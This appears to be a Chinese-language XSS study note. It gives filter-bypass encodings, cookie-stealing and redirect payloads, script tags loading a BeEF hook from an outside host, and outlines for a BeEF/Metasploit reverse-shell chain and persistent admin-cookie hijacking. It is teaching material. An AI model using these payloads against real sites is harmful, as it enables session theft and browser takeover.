web安全之XSS漏洞
原理
未对用户提交的数据(嵌入的恶意js代码)进行过滤处理,使用户被动访问黑客服务器并传输cookie。造成盗取账户、页面挂马、非法转账等危害。特性:不是对服务器的攻击,是对客户端浏览器的攻击,即前端攻击。浏览即中招,又叫做页面挂马。
分类
反射型XSS:常见于搜索框处,将恶意脚本执行后形成的链接制作成超链接并诱导用户点击。 存于URL中。条件:server有漏洞、用户点击。
存储型XSS:常见于留言板处,攻击隐蔽性更强,只要用户浏览被插马页面,即可神不知鬼不觉地中招。 存于DB中。
DOM型XSS:存于client中。
绕过方式
绕过magic_quotes_gpc 利用Hackbug的String.fromCharCode转码
改变大小写
url编码、Base64编码、HEX编码
闭合标签
手工攻击
#常用HTML标签 <iframe src= <iframe>、<img>、<script>
#常用JavaScript方法
alert() 弹窗
window.location() 重定向
location.href() 重定向
onload() 加载完成
onsubmit() 点击完成
onerror() 加载时报错
#构造XSS脚本:
弹框警告:<script>alert('xss')</script>
<script>alert(document.cookie)</script>
页面嵌套:<iframe src=http://www.sohu.com width=300 height=300></iframe>
页面重定向:<script>location.href="http://www.sohu.com"</script>
弹窗警告并重定向:
访问恶意代码:<script src="http://beef-ip:3000/hook.js"></script>
因script标签太敏感故巧用图片标签进行伪装:
<img src="http://beef-ip:3000/hook.js"></img>
#存储型XSS漏洞手工利用流程
建立黑客服务器(Apache服务、php脚本)——将xss恶意脚本植入web服务器——等待用户访问恶意页面触发传送cookie——cookie利用。
XSS攻击利用案例
#BeEF
可以做什么:信息收集、持久化控制、社工。
BeEF_web后台管理 online/offline 绿/橙/灰/红
Commands菜单:Browser、Debug、Exploits、Metasploit、Misc、Persistence、
SocialEngineering等漏洞利用模块。
#webxss.cn平台(貌似已失效)
#xss漏洞+ms10-002漏洞(IE6)的getshell过程
xss劫持浏览器,恶意代码 <script>src=http://ip:port/hook.js</script>
msf配置反弹shell侦听端口,生成恶意链接
beef使劫持的浏览器访问恶意链接
msf接收反弹shell
#xss漏洞+ms12-024漏洞(IE789)的getshell过程(略)
#永久劫持web管理员cookie(获取webshell之后)
将</textarea>'"><script src=恶意URL></script>写入web管理员登录页面
漏洞利用工具:
BeEF:kali内置。下载地址:https://beefproject.com/
https://xssye.com/auth/login
https://xss.yt/
XSSer:自动化XSS漏洞检测及利用工具。参考文档:https://www.freebuf.com/sectool/173228.html
靶场练习参照:
https://cloud.tencent.com/developer/article/1665021
https://www.freebuf.com/articles/web/338123.html